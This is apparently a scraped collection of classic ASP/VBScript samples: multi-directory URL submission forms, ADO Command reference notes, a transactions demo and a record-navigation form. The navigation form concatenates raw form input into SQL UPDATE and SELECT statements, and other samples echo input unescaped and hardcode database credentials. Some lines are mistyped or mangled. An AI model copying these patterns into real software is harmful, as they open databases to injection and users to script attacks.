type=hidden name=name value=\"<% =REQUEST.FORM(\"TITLE\") %>\"> \nKeywords separated by spaces (select up to 5; 60 characters) \n<input type=text name=keys size=75 maxlength=60 onChange=\"document.bb.Keywords.value=document.aa.keys.value;document.dd.key.value= document.aa.keys.value \"> \n<input type=hidden name=desc value=\"<% =REQUEST.FORM(\"description\") %>\"> \n<input type=submit value=\"Submit\"> \n<A HREF=\"http://rex.skyline.net/\">Rex</A> \n</form> \n</td></tr><tr><td align=center> \n<FORM NAME=\"bb\" ACTION=\"http://www.scrubtheweb.com/cgi-bin/addurl.cgi\" METHOD=\"GET\" target=new14> \n<INPUT TYPE=HIDDEN NAME=\"action\" VALUE=\"Add Listing\"> \n<INPUT TYPE=hidden NAME=\"Title\" value=\"<% =REQUEST.FORM(\"TITLE\") %>\"> \n<INPUT TYPE=hidden NAME=\"Email\" value=\"<% =REQUEST.FORM(\"EMAIL\") %>\"> \n<INPUT TYPE=hidden NAME=\"URL\" value=\"<% =REQUEST.FORM(\"URL\") %>\"> \nCategory: <SELECT NAME=\"cat\"> \n<OPTION VALUE=\"Advertising\">Advertising \n<OPTION VALUE=\"Arts\">Arts \n<OPTION VALUE=\"Books\">Books & Magazines \n<OPTION VALUE=\"Business\">Business Services \n<OPTION VALUE=\"Cars\">Cars & Motorcycles \n<OPTION VALUE=\"Children\">Children \n<OPTION VALUE=\"Collectibles\">Collectibles \n<OPTION VALUE=\"Computer\">Computer & Peripherals \n<OPTION VALUE=\"Dating\">Dating \n<OPTION VALUE=\"Education\">Education \n<OPTION VALUE=\"Electronics\">Electronics \n<OPTION VALUE=\"Employment\">Employment \n<OPTION VALUE=\"Entertainment\">Entertainment \n<OPTION VALUE=\"Fashion\">Fashion \n<OPTION VALUE=\"Finance\">Financial \n<OPTION VALUE=\"Flowers\">Flowers \n<OPTION VALUE=\"Food\">Food & Beverage \n<OPTION VALUE=\"Gifts\">Gifts \n<OPTION VALUE=\"Health\">Health \n<OPTION VALUE=\"Malls\">Internet Malls \n<OPTION VALUE=\"Internet\">Internet Services \n<OPTION VALUE=\"Legal\">Legal \n<OPTION VALUE=\"Misc\" SELECTED>Miscellaneous \n<OPTION VALUE=\"Money\">Money Opportunities \n<OPTION VALUE=\"Music\">Music, Musical Instruments \n<OPTION VALUE=\"Newsletters\">Newsletters \n<OPTION VALUE=\"Pets\">Pets \n<OPTION VALUE=\"Realestate\">Real Estate \n<OPTION VALUE=\"Software\">Software \n<OPTION VALUE=\"Sports\">Sports \n<OPTION VALUE=\"Travel\">Travel \n</SELECT> \n<input type=hidden NAME=\"Description\" value=\"<% =REQUEST.FORM(\"description\") %>\"> \nKeywords separated by spaces (select up to 15; 150 characters) \n<INPUT TYPE=TEXT SIZE=75 NAME=\"Keywords\" MAXLENGTH=150 onChange=\"document.cc.linkwords.value=document.bb.Keywords.value; document.dd.key.value=document.cc.linkwords.value\"> \n<INPUT TYPE=SUBMIT VALUE=\"Submit\"> \n<A HREF=\"http://www.scrubtheweb.com\">ScrubTheWeb</A> \n</form> \n</td></tr><tr><td align=center> \n<form NAME=\"dd\" action=\"http://www.moshix2.net/scripts/aliseadd.dll\" method=\"POST\" target=new15> \n<input type=\"hidden\" name=\"Dir\" value=\"d:\\inetpub\\wwwroot\\moshix2\\ALISE\\addtemp\"> \n<input type=\"hidden\" name=\"Alise\" value=\"/add3.htm\"> \n<input type=\"hidden\" name=\"ok\" value=\"/alise/ok.htm\"> \n<input type=\"hidden\" name=\"url\" value=\"<% =REQUEST.FORM(\"URL\") %>\"> \n<input type=\"hidden\" name=\"title\" value=\"<% =REQUEST.FORM(\"TITLE\") %>\"> \n<input type=\"hidden\" name=\"comment\" value=\"<% =REQUEST.FORM(\"description\") %>\"> \nKeywords (separated by spaces): \n<input type=text size=75 name=\"key\"> \n<input type=hidden name=\"name\" value=\"<% =REQUEST.FORM(\"NAME\") %>\"> \n<input type=hidden name=\"email\" value=\"<% =REQUEST.FORM(\"EMAIL\") %>\"> \n<input type=\"hidden\" name=\"END\" value=\"END\"> \n<input type=\"submit\" value=\"Submit\"> \n<A HREF=\"http://www.moshix2.net\">MOSHIx2</A> \n</form> \n</td></tr><tr><td align=center> \n<FORM METHOD=\"POST\" ACTION=\"http://www.aaa.com.au/dir2/sendsub.cgi\" target=new16> \n<input type=hidden name=\"to\" value=\"aaa2@fl.net.au\"> \n<input type=hidden name=\"subject\" value=\"Matilda Listing\"> \n<input type=hidden name=\"redirect\" value=\"http://www.aaa.com.au/thankyou.shtml\"> \n<INPUT Type=hidden NAME=\"realname\" value=\"<% =REQUEST.FORM(\"name\") %>\"> \n<INPUT Type=hidden NAME=\"from\" value=\"<% =REQUEST.FORM(\"email\") %>\"> \n<INPUT Type=hidden NAME=\"url\" value=\"<% =REQUEST.FORM(\"title\") %>\"> \n<INPUT TYPE=hidden NAME=\"urlname\" value=\"<% =REQUEST.FORM(\"url\") %>\"> \n<select name=\"selection\"> \n<option selected>Select One Category</option> \n<option value=\"Animals_and_Ecology\"> Animals & Ecology \n<option value=\"Animals_and_Ecology.Mammals\"> -> Mammals \n<option value=\"Animals_and_Ecology.Reptiles\"> -> Reptiles \n<option value=\"Animals_and_Ecology.Birds\"> -> Birds \n<option value=\"Animals_and_Ecology.Environment\"> -> Environment \n<option value=\"Arts_and_Humanities\"> Arts & Humanities \n<option value=\"Arts_and_Humanities.Architecture\"> -> Architecture \n<option value=\"Arts_and_Humanities.Books\"> -> Books \n<option value=\"Arts_and_Humanities.Good_Causes\"> -> Good Causes \n<option value=\"Arts_and_Humanities.Literature\"> -> Literature \n<option value=\"Arts_and_Humanities.Photography\"> -> Photography \n<option value=\"Arts_and_Humanities.Poetry\"> -> Poetry \n<option value=\"Audio\"> Audio \n<option value=\"Audio.Artists\"> -> Artists \n<option value=\"Audio.Chat\"> -> Chat \n<option value=\"Audio.MP3\"> -> MP3 \n<option value=\"Audio.Music\"> -> Music \n<option value=\"Business_and_Economy\"> Business & Economy \n<option value=\"Business_and_Economy.Agriculture\"> -> Agriculture \n<option value=\"Business_and_Economy.Companies\"> -> Companies \n<option value=\"Business_and_Economy.Insurance\"> -> Insurance \n<option value=\"Business_and_Economy.Employment\"> -> Employment \n<option value=\"Business_and_Economy.Finance\"> -> Finance \n<option value=\"Business_and_Economy.Real_Rstate\"> -> Real Estate \n<option value=\"Computers_and_Internet\"> Computers & Internet \n<option value=\"Computers_and_Internet.Countries\"> -> Countries \n<option value=\"Computers_and_Internet.Programming Languages\"> -> Programming Languages \n<option value=\"Computers_and_Internet.Internet\"> -> Internet \n<option value=\"Computers_and_Internet.Multimedia\"> -> Multimedia \n<option value=\"Computers_and_Internet.Software\"> -> Software & Hardware \n<option value=\"Computers_and_Internet.Homepages\"> -> Personal Homepages \n<option value=\"Computers_and_Internet.WWW\"> -> WWW \n<option value=\"Education\"> Education \n<option value=\"Education.College_Entrance\"> -> College Entrance \n<option value=\"Education.K12\"> -> K12 \n<option value=\"Education.Kids\"> -> Kids \n<option value=\"Education.Universities\"> -> Universities \n<option value=\"Free_Stuff-Entertainment\"> Free Stuff, Entertainment \n<option value=\"Free_Stuff-Entertainment.Games\"> -> Games \n<option value=\"Free_Stuff-Entertainment.Movies\"> -> Movies \n<option value=\"Free_Stuff-Entertainment.Humor\"> -> Humor \n<option value=\"Free_Stuff-Entertainment.Competitions\"> -> Competitions \n<option value=\"Food_and_Cuisine\"> Food & Cuisine \n<option value=\"Food_and_Cuisine.Nutrition\"> -> Nutrition \n<option value=\"Food_and_Cuisine.Recipes\"> -> Recipes \n<option value=\"Food_and_Cuisine.Restaurants\"> -> Restaurants \n<option value=\"Food_and_Cuisine.Types\"> -> Types \n<option value=\"Food_and_Cuisine.Cultures\"> -> Cultures \n<option value=\"Food_and_Cuisine.Drinks\"> -> Drinks \n<option value=\"Government\"> Government \n<option value=\"Government.Law\"> -> Law \n<option value=\"Government.Military\"> -> Military \n<option value=\"Government.Politics\"> -> Politics \n<option value=\"Government.Taxes\"> -> Taxes \n<option value=\"Health\"> Health \n<option value=\"Health.Diseases\"> -> Diseases \n<option value=\"Health.Drugs\"> -> Drug \n<option value=\"Health.Fitness\"> -> Fitness \n<option value=\"Health.Medicine\"> -> Medicine \n<option value=\"History\"> History \n<option value=\"History.Archeology\"> -> Archeology \n<option value=\"History.Genealogy\"> -> Genealogy \n<option value=\"History.Exploration\"> -> Exploration \n<option value=\"History.Computers\"> -> Computers \n<option value=\"History.People\"> -> People \n<option value=\"History.Museums\"> -> Museums \n<option value=\"Lifestyle\"> Lifestyle \n<option value=\"Lifestyle.Auto\"> -> Auto \n<option value=\"Lifestyle.Home\"> -> Home \n<option value=\"Lifestyle.Gardening\"> -> Gardening \n<option value=\"Lifestyle.Pets\"> -> Pets \n<option value=\"Lifestyle.Kids\"> -> Kids \n<option value=\"Lifestyle.Travel\"> -> Travel \n<option value=\"News_and_Media\"> News & Media \n<option value=\"News_and_Media.Current_Events\"> -> Current Events \n<option value=\"News_and_Media.Magazines\"> -> Magazines \n<option value=\"News_and_Media.Newspapers\"> -> Newspapers \n<option value=\"News_and_Media.TV\"> -> TV \n<option value=\"News_and_Media.Radio\"> -> Radio \n<option value=\"News_and_Media.Advertising\"> -> Advertising \n<option value=\"Recreation_and_Sport\"> Recreation & Sport \n<option value=\"Recreation_and_Sport.Accommodation\"> -> Accomodation \n<option value=\"Recreation_and_Sport.Antiques\"> -> Antiques \n<option value=\"Recreation_and_Sport.Gambling\"> -> Gambling \n<option value=\"Recreation_and_Sport.Hobbies\"> -> Hobbies \n<option value=\"Recreation_and_Sport.Olympic\"> -> Olympic \n<option value=\"Recreation_and_Sport.Sports\"> -> Sports \n<option value=\"Reference-City_Seek\"> Reference, City Seek \n<option value=\"Reference-City_Seek.Dictionaries\"> -> Dictionaries \n<option value=\"Reference-City_Seek.Libraries\"> -> Libraries \n<option value=\"Reference-City_Seek.Maps\"> -> Maps \n<option value=\"Reference-City_Seek.Classifieds\"> -> Classifieds \n<option value=\"Reference-City_Seek.Phone_Numbers\"> -> Phone Numbers \n<option value=\"Reference-City_Seek.Email\"> -> Email \n<option value=\"Science\"> Science \n<option value=\"Science.Astronomy\"> -> Astronomy \n<option value=\"Science.Biology\"> -> Biology \n<option value=\"Science.CS\"> -> CS \n<option value=\"Science.Engineering\"> -> Engineering \n<option value=\"Science.Fiction\"> -> Fiction \n<option value=\"Science.Solar\"> -> Solar \n<option value=\"Social_Science\"> Social Science \n<option value=\"Social_Science.Anthropology\"> -> Anthropology \n<option value=\"Social_Science.Languages\"> -> Languages \n<option value=\"Social_Science.Communications\"> -> Communications \n<option value=\"Social_Science.Psychology\"> -> Psychology \n<option value=\"Social_Science.Economics\"> -> Economics \n<option value=\"Social_Science.Sociology\"> -> Sociology \n<option value=\"Society_and_Culture\"> Society & Culture \n<option value=\"Society_and_Culture.Environment\"> -> Environment \n<option value=\"Society_and_Culture.Fashion\"> -> Fashion \n<option value=\"Society_and_Culture.People\"> -> People \n<option value=\"Society_and_Culture.Religion\"> -> Religion \n<option value=\"Society_and_Culture.Shopping\"> -> Shopping \n<option value=\"Society_and_Culture.Sex_and_Love\"> -> Sex & Love \n</select> \nDescription (10 Words): <input type=text NAME=\"comments\" size=20> \n<input type=submit value=\"Submit\"> \n<A HREF=\"http://www.aaa.com.au\">Matilda</A> \n</form> \n</td></tr><tr><td align=center> \n<form method=\"POST\" action=\"http://www.pointguide.com/cgi/new/free.cgi\" target=new17> \n<select name=\"category\" size=1> \n<option selected>Select One Category</option> \n<option value=\"10\" selected>Music/Entertainment \n<option value=\"11\">Business/Finance \n<option value=\"12\">Computers/Internet \n<option value=\"13\">Education \n<option value=\"14\">Government/Politics \n<option value=\"15\">Health/Medicine \n<option value=\"16\">Living & Leisure \n<option value=\"17\">News & Reference \n<option value=\"18\">Science/Technology \n<option value=\"19\">Sports \n<option value=\"20\">Travel \n</select> \n<input type=hidden name=\"url\" value=\"<% =REQUEST.FORM(\"URL\") %>\"> \n<input type=hidden name=\"title\" value=\"<% =REQUEST.FORM(\"TITLE\") %>\"> \n<input type=hidden name=\"description\" value=\"<% =REQUEST.FORM(\"description\") %>\"> \n<input type=hidden name=\"name\" value=\"<% =REQUEST.FORM(\"NAME\") %>\"> \n<input type=hidden name=\"email\" value=\"<% =REQUEST.FORM(\"EMAIL\") %>\"> \n<input type=submit name=\"add\" value=\"Submit\"> \n<A HREF=\"http://www.pointguide.com\">Pointguide</A> \n</form> \n</td></tr><tr><td align=center> <FORM ACTION=\"http://www.jayde.com/cgi-bin/addurl.cgi\" METHOD=POST target=new18> \n<input type=hidden value=verify name=action> \n<INPUT TYPE=hidden NAME=\"name\" value=\"<% =REQUEST.FORM(\"NAME\") %>\"> \n<INPUT TYPE=hidden NAME=\"email\" value=\"<% =REQUEST.FORM(\"EMAIL\") %>\"> \n<INPUT TYPE=hidden NAME=\"sname\" value=\"<% =REQUEST.FORM(\"TITLE\") %>\"> \n<INPUT TYPE=hidden NAME=\"URL\" VALUE=\"<% =REQUEST.FORM(\"URL\") %>\"> \n<input type=hidden NAME=\"desc\" value=\"<% =REQUEST.FORM(\"description\") %>\"> \nCategory: \n<SELECT NAME=cat><OPTION> Personal \n<OPTION> Law<OPTION> Social Sciences<OPTION> Art Links<OPTION> Bus General<OPTION> Internet<OPTION> Food Links<OPTION> Free Stuff<OPTION> Sports<OPTION> Software<OPTION> Bus Industry<OPTION> Reference<OPTION> Bus MLM<OPTION> Science and Tech<OPTION> HTML Support<OPTION> JavaScript<OPTION> Education<OPTION> Directories<OPTION> News Links<OPTION> Literature<OPTION> Computers<OPTION> Game Sites<OPTION> Marketing<OPTION> Music Links<OPTION> Job Sites<OPTION> Government<OPTION> Stores and Malls<OPTION> Travel<OPTION> EZines<OPTION> Bus Financial<OPTION> Gardening<OPTION> Canadian Links<OPTION> Bus Real Estate<OPTION> Miscellaneous<OPTION> Health<OPTION> Web Design<OPTION> International<OPTION> Religion<OPTION> Entertainment<OPTION> Non Profit \n</SELECT> \n<input type=hidden name=list value=on> \n<INPUT TYPE=submit VALUE=\"Submit\"> \n<A HREF=\"http://www.jayde.com\">Jayde</A> \n</FORM> \n</td></tr><tr><td align=center> \n<form method=GET action=\"http://www.google.com/addurl\" target=new19> \n<input type=hidden name=q value=\"<% =REQUEST.FORM(\"url\") %>\"> \n<input type=hidden name=dq value=\"<% =REQUEST.FORM(\"description\") %>\"> \n<input type=submit value=\"Add URL\"> \n<A HREF=\"http://www.google.com\">Gooble</A> \n</form> \n</td></tr></table> \n \n"},{"WorldId":4,"id":10,"LineNumber":1,"line":"Create a Command\n\tset cm = Server.CreateObject(\"ADODB.Command\")\n\tConnecting the Command\n\tMethod 1\n\tcm.ActiveConnection = cn \n\tMethod 2\n\tcm.ActiveConnection = \"DSN=Karate; UID=Dave; PWD=519;\"\n\tSpecifying the Query\n\tMethod 1\n\tset cm.CommandText = \"Select * from schools\" \n\t\n\tMethod 2 (Table)\n\t\tset cm.CommandText = \"schools\"\n\t\tcm.CommandType = adCmdTable\n\t\n\tMethod 3 (Stored Procedure)\n\t\tset cm.CommandText = \"add_school\"\n\t\tcmdCommandType = adCmdStoredProc\n\t\n\tMethod 4 (Stored Procedure with Parameters)\n\t\n\t\tset cm.CommandText = \"add_school\"\n\t\tcm.cmdCommandType = adCmdStoredProc\n\t\tset p = cm.Parameters\n\t\n\t\tp.Append cm.CreateParameter(\"@style\",adChar,adParamInput,50)\n\t\tp.Append cm.CreateParameter(\"@school\", adChar, adParamInput,50)\n\t\tp.Append cm.CreateParameter(\"@id\",adInteger,adParamInput)\n\t\tcm(\"@style\") = \"Kempo\"\n\t\tcm(\"@school\") = \"WSU\"\n\t\tcm(Id) = 1\n\t\tcm.execute\n\t\tMethod 5 ( Return the results to a recordset)\n\t\trs.Open cm, cn\n\t\tMethod 6 ( Recordset, type, and locking method)\n\t\trs.Open cm, cn, adOpenKeyset, adLockOptimistic\n\n\t\t(Properties of the Command Object)\n\t\tActiveConnection\tThe associated Connection Object\n\t\tCommandText\t\tThe query String\n\t\tComandTimeout\tThe amout of time before the\n\t\t\t\t\texecution is aborted\n\t\t\t\t\tDefault is 30 seconds\n\t\tCommandType\t\tA hint at the type of\n\t\t\t\t\tquery string\n\t\t\t\t\n\t\t\t\t\tadCmdText\t\t1\n\t\t\t\t\tadCmdTable\t\t2\n\t\t\t\t\tadCmdStoredProc\t4\n\t\t\t\t\tadCmdUnknown\t8\n\t\tPrepared\t\tIndicate whether the\n\t\t\t\t\tcommand should be\n\t\t\t\t\tprecompiled\n\n\t\t(Command Object Methods)\n\t\t\n\t\tCreateParameter\n\t\t\tset p = Command.CreateParameter(n,t,d,s,v)\n\t\t\tn = Name of the parameter\n\t\t\tt = Type of Parameter\n\t\t\td= The direction of the parameter\n\t\t\t\tadParamInput\t\t1\n\t\t\t\tadParamOutput\t\t2\n\t\t\t\tadParamInputOut\t3\n\t\t\t\tadParamReturnValue\t4\n\t\t\ts= The Maximum size of the parameter\n\t\t\tv= The value of the parameter\n\t\tExecute\n\t\tSet rs = command.Execute(count, parameters, options)\n\t\tcount\t\tThe number of records affected by the query\n\t\tparameters\tArray of parameter values\n\t\toptions\t\tA CommandType constant\n\t(Parameter Collection Properties)\n\tCount\n\t(Parameter Collection Methods)\n\tAppend\t\tAdd a Parameter object\n\tDelete\t\tRemove a Parameter object\n\t\t\t\tIndex the name or ordinal value\n\tItem\t\tRetrieve a particular Parameter object\n\t\t\tset parameter = Parameters.Item(index)\n\t\t\tindex\tthe name or ordinal value\n\tRefresh\t\tReconstruct the collection\n\n\t(Parameter Properties)\n\tAttributes\n\t\t\tadParamLong\t\t128\n\t\t\tadParamNullable\t64\n\t\t\tadParamSigned\t\t16\n\tDirection\t\tUsed for input, output, or both\n\t\t\tadParamInput\t\t1\n\t\t\tadParamOutput\t\t2\n\t\t\tadParamInputOutput\t3\n\t\t\tadParamReturnValue\t4\n\tName\t\t\tThe Name of the parameter\n\tNumericScale\t\tDecimal places after the dot\n\tPrecision\t\tThe total number of decimal places\n\tSize\t\t\tSize of variable data in bytes\n\tType\t\t\tType of data being sent\n\t\t\tadBigInt\n\t\t\tadBinary\n\t\t\tadBoolean\t\n\t\t\tadBSTR\n\t\t\tadChar\n\t\t\tadCurrency\n\t\t\tadDate\n\t\t\tadDBDate\t\tYYYYMMDD\n\t\t\tadDBTime\t\tHHMMSS\n\t\t\tadDBTimeStamp\n\t\t\tadDecimal\n\t\t\tadDouble\n\t\t\tadError\n\t\t\tadGUID\n\t\t\tadIDispatch\n\t\t\tadInteger\n\t\t\tadIUnknown\n\t\t\tadLongVarBinary\n\t\t\tadLongVarChar\n\t\t\tadNumeric\n\t\t\tadSingle\n\t\t\tadSmallInt\n\t\t\tadUnsignedBigInt\n\t\t\tadUnsignedTinyInt\n\t\t\tadUserDefined\n\t\t\tadVariant\n\t\t\tadVarBinary\n\t\t\tadVarChar\n\t\t\tadVarWChar\n\t\t\tadWChar\n\tValue\t\t\tCurrent value of the parameter\n\tParameter methods\n\t\tAppendChunk\tAdd data to Parameter value\n\t\tGetChunk\tGet a portion of the parameter value\n\tRefreshing Parameters\n\tThe query string must first be examined before you can\n\tdetermine the number of parameters and their\n\tindividual data types.\n\t\n\t\tSave yourself time by declaring the parameter objects\n\tmanually instead of calling the refresh method.\n\t(Using Prepared Commands)\n\t* Before queries are actually executed by the data provider\n\ton the database server, they are examined, optimized,\n\tand compiled into a pseudo-code that's later\n\tused to drive the data-retrieval system.\n\t* To Prepare a Command Object, set the Prepared property\n\tto true.\n\tExample\n\tset cm.CommandText = \"Update school set school_name = ? \n\twhere id = ?\"\n\tcm.CommandType = adCmdText\n\tcm.Prepared =true\n\tcm.Parameters.append cm.CreateParameter(\"name\",adChar,adParamInput,50)\n\tcm.Parameters.append cm.CreateParameter(\"school_id, adInteger, adParamInput)\n\tcm(\"name\")=\"Golden Lion\"\n\tcm(\"id\") = 1\n\tcm.execute\n\tcm(\"name\")=\"Dragon kenpo\"\n\tcm(\"id\")=2\n\tcm.execute\n\tStored Procedures\n\t\n\t* To call a stored procedure, the Parameter collection must be\n\tset to precisely match the number and type of\n\tparameters defined on the server.\n"},{"WorldId":4,"id":20,"LineNumber":1,"line":"<% Response.Expires = 0 %>\n<HTML>\n<HEAD><TITLE><H3>Transactions</H3></TITLE></HEAD>\n<BODY BGColor=ffffff Text=000000>\n<%\nSet cn = Server.CreateObject(\"ADODB.Connection\")\ncn.Open Application(\"guestDSN\")\nSet rs = Server.CreateObject(\"ADODB.RecordSet\")\nMySQL = \"SELECT * FROM paulen\"\nrs.CursorType = adOpenStatic\nrs.LockType = adLockOptimistic\nrs.ActiveConnection = cn\nrs.Source = MySQL \nrs.Open \n%>\n<h2>Before: \n<TABLE BORDER=1>\n<TR>\n<% For i = 0 to RS.Fields.Count - 1 %>\n<TD><% = RS(i).Name %></TD>\n<% Next %>\n</TR>\n<% Do While Not RS.EOF %>\n<TR>\n<% For i = 0 to RS.Fields.Count - 1 %>\n<TD VALIGN=TOP><% = RS(i) %></TD>\n<% Next %>\n</TR>\n<%\nRS.MoveNext\nLoop\nRS.Close\n%>\n</TABLE>\n<%\ncn.BeginTrans\ncn.Execute(\"INSERT INTO paulen (fld1, fld2) VALUES ('Aborted', 50)\")\ncn.RollbackTrans\ncn.BeginTrans\ncn.Execute(\"INSERT INTO paulen (fld1, fld2) VALUES ('Trans\" & Time() & \"', 100)\")\ncn.CommitTrans\n%>\nCompleted.\n<h2>After:</h2>\n<TABLE BORDER=1>\n<TR>\n<% \nrs.Open \nFor i = 0 to RS.Fields.Count - 1 %>\n<TD><% = RS(i).Name %></TD>\n<% Next %>\n</TR>\n<% Do While Not RS.EOF %>\n<TR>\n<% For i = 0 to RS.Fields.Count - 1 %>\n<TD VALIGN=TOP><% = RS(i) %></TD>\n<% Next %>\n</TR>\n<%\nRS.MoveNext\nLoop\nRS.Close\nCn.Close\n%>\n</TABLE>\n\n"},{"WorldId":4,"id":30,"LineNumber":1,"line":"<% Option Explicit %>\n<% Response.Expires=0 %>\n<HTML>\n<HEAD></HEAD>\n<BODY BGColor=White Text=Black>\n<STYLE>\n \t.btn {Width:100%}\n</STYLE>\n<% \t\nDim Page\t\t\t\t' Local var for page #\nDim cn\t\t\t\t' Connection object\nDim rs\t\t\t\t' Recordset object\nDim Action\t\t\t' Button pressed\nDim PageSize\t\t' How far to page\nDim UpdSQL, MySQL\t\t' String to hold SQL \nDim i\t\t\t\t\t' Loop counter\nDim item, value\t' Used to retrieve changed fields\nDim issueUpdate\t' After Save button press, any changes to make?\nAction = Request.Form(\"NavAction\")\nIf Request.Form(\"Page\") <> \"\" Then\n \tPage = Request.Form(\"Page\")\nElse\n \tPage = 1\nEnd If\nIf Request.Form(\"PageSize\") <> \"\" Then \n \tPageSize = Request.Form(\"PageSize\")\nElse\n \tPageSize = 5\nEnd If\n \t\tSet cn = Server.CreateObject(\"ADODB.Connection\")\n \t\tcn.Open Application(\"guestDSN\")\n \t\t\n \t\t' Get initial recordset\n \t\tSet rs = Server.CreateObject(\"ADODB.Recordset\")\n \t\tMySQL = \"SELECT * FROM AUTHORS\"\nrs.PageSize = PageSize\nrs.Open MySQL, cn, adOpenKeyset, adLockOptimistic\n \t\tSelect Case Action\n \t\t\tCase \"Begin\"\n \t Page = 1\n \t\t\tCase \"Back\"\n \t\tIf (Page > 1) Then \n \t\t\tPage = Page - 1\n \t\tElse \n \t\t\tPage = 1\n \t\t\t End If\n \t\trs.AbsolutePage = Page\n \t\t\tCase \"Forward\"\n \t\tIf (CInt(Page) < rs.PageCount) Then \n \t\t\tPage = Page + 1\n \t\tElse \n \t\t\tPage = rs.PageCount \n \t\t\t End If\n \t\trs.AbsolutePage = Page\n \t\t\tCase \"End\"\n \t\trs.AbsolutePage = rs.PageCount \n \tCase \"Save\"\n \t\t' Grab the proper record, then update\n \t\t' This routine is hard coded for AU_ID as the key field. \n \t\t' To alter this to work with another DB Table you will need to \n \t\t' Use the proper primary key instead of AU_ID.\n \t\trs.Close\n \t\tMySQL = \"SELECT * FROM AUTHORS WHERE au_id = '\" & Request.Form(\"Au_id\") & \"'\"\n \t\trs.MaxRecords = 1\n \t\trs.Open MySQL, cn, adOpenStatic, adLockOptimistic\n \t\tUpdSQL = \"UPDATE AUTHORS \"\n \t\tissueUpdate = False\n \t\tFor i = 0 To (rs.Fields.Count - 1)\n \t\t\titem = rs.Fields(i).Name\n \t\t\tvalue = Request.Form(item)\n \t\t\t' Only update items that have changed\n \t\t\tIf (rs(i) <> value) Then\n \t\t\t\tIf issueUpdate = False Then \n \t\t\t\t\tUpdSQL = UpdSQL & \"SET \"\n \t\t\t\tElse\n \t\t\t\t\tUpdSQL = UpdSQL & \",\"\n \t\t\t\tEnd If\n \t\t\t\tissueUpdate = True\n \t\t\t\tSelect Case VarType(rs.Fields(i))\n \t\t\t\t\t' Determine datatype for proper SQL UPDATE syntax\n \t\t\t\t\t' NOTE: Not all data types covered\n \t\t\t\t\tCase vbString, vbDate\n \t\t\t\t\t\tUpdSQL = UpdSQL & item & \"='\" & value & \"'\"\n \t\t\t\t\tCase vbNull\n \t\t\t\t\tCase vbInteger\n \t\t\t\t\t\tUpdSQL = UpdSQL & item & \"=\" & value\n \t\t\t\t\tCase vbBoolean\n \t\t\t\t\t\tIf value Then\n \t\t\t\t\t\t\tUpdSQL = UpdSQL & item & \"= 1\"\n \t\t\t\t\t\tElse\n \t\t\t\t\t\t\tUpdSQL = UpdSQL & item & \"= 0\"\n \t\t\t\t\t\tEnd If\n \t\t\t\tEnd Select\n \t\t\tEnd If\n \t\tNext \n \t\tUpdSQL = UpdSQL & \" WHERE au_id = '\" & Request.Form(\"Au_id\") & \"'\"\n \t\tIf issueUpdate Then\n \t\t\tcn.Execute UpdSQL\n \t\t\tSet rs = cn.Execute(MySQL)\n \t\t\t End If\n \t\t\tCase \"New\"\n \t\t' response.write \"New\"\n \t\t\t\trs.AddNew\n \t\t\tCase \"Bookmark\"\n \t\t\t\tSession(\"myBookMark\") = rs.BookMark\n \t\t\tCase \"Goto\"\n \t\t\t\tIf Not IsNull(Session(\"myBookMark\")) Then\n \t\t\t\t\trs.BookMark = Session(\"myBookMark\")\n \t\t\t\tEnd If\n \t\t\tCase Else\n \t\t\t rs.MoveFirst\n \t\tEnd Select\n%>\n\n<Center>\n\n\n<Table Align=Center border=1 BGColor=Navy\n BorderColorDark=Navy BorderColorLight=Aqua BorderColor=Blue>\n\n<th Colspan=2>\n <Center>Navigating Example</Center>\n</th>\n\n<tr><td>\n\n\n<Form Action=all_form.asp Method=\"POST\">\n<TABLE Align=Left BORDER=0 BGColor=Gray Text=White>\n \t<%\n \tFor i = 0 To rs.Fields.Count - 1\n \t\t%>\n \t\t<TR><TD><%= rs.Fields(i).Name %></TD>\n \t\t<TD><Input Type=text Name=\"<%= rs.Fields(i).Name %>\" Value=\"<%= rs(i) %>\"></TD>\n</TR>\n \t\t<%\n \tNext \n \t%>\n</TABLE>\n</td>\n<td BGColor=Black Width=100>\n \t\n \t\t\n \t <Input Type=\"Hidden\" Name=\"PageSize\" Value=\"1\">\n \t <Input Type=\"Hidden\" Name=\"Page\" Value=\"<%= Page %>\">\n \t\n \t <INPUT TYPE=\"Submit\" Name=\"NavAction\" Value=\"Begin\" Class=Btn> \n \t <INPUT TYPE=\"Submit\" Name=\"NavAction\" Value=\"Back\" Class=Btn> \n \t <INPUT TYPE=\"Submit\" Name=\"NavAction\" Value=\"Forward\" Class=Btn> \n \t <INPUT TYPE=\"Submit\" Name=\"NavAction\" Value=\"End\" Class=Btn>\n \t <INPUT TYPE=\"Submit\" Name=\"NavAction\" Value=\"Save\" Class=Btn> \n \t <INPUT TYPE=\"Submit\" Name=\"NavAction\" Value=\"New\" Class=Btn>\n \t <INPUT TYPE=\"Submit\" Name=\"NavAction\" Value=\"Bookmark\" Class=Btn> \n \t <INPUT TYPE=\"Submit\" Name=\"NavAction\" Value=\"Goto\" Class=Btn>\n</td>\n</tr>\n</table>\n</Form>\n\n\n \t<IFRAME width=70% height=180 src=\"list.asp?auid=<%= rs( </include/code.asp?source=/ado/samples/list.asp?auid=<%= rs(>\"au_id\") %>\" FrameBorder=1 Scrolling=No>\n \t<FRAME width=70% height=180 src=\"list.asp?auid=<%= rs( </include/code.asp?source=/ado/samples/list.asp?auid=<%= rs(>\"au_id\") %>\">\n \t</IFRAME> \t\n</Center>\n\n</BODY>\n</HTML>\n"},{"WorldId":4,"id":38,"LineNumber":1,"line":"Dim fs, fsmyfile, todayfile, ckdayfile, cr, qt\n'Get name of file as it needs to be today\ntodayfile=\"Cur\"&cstr(month(date()))&cstr(day(date()))\nckdayfile=\"\"&cstr(month(date()))&cstr(day(date()))&\"\"\ntodayfile=trim(todayfile)&\".asp\"\n'Create FileSystemObject\nSet fs = CreateObject(\"Scripting.FileSystemObject\")\n \n'File may not be built\nOn Error Resume Next \n \n'Check to see if we already have the HTML file Built\nSet fsmyfile = fs.OpenTextFile(\"c:\\inetpub\\scripts\\asp\\jeff\\\"+todayfile,1,0)\nif err<>0 then\t\t'Need to build today\n\tfsmyfile.Close\t'Close File\n\tSet fsmyfile = fs.OpenTextFile(\"c:\\inetpub\\scripts\\asp\\jeff\\\"+todayfile,8,1,0)\n\tcr=chr(13)\t'Save some typing (I'm lazy)\n\tqt=chr(34)\t'The Only way I could get the quote marks correct\n\tcodeout=\"<%@ LANGUAGE=\"\"VBSCRIPT\"\" %\"&\">\"&cr\n\tcodeout=codeout&\"<%\"&cr\n\tcodeout=codeout&\"today=\"&qt&cstr(month(date()))&cstr(day(date()))&qt&cr\n\tcodeout=codeout&cr&\"if today<>\"&qt&ckdayfile&qt&\" 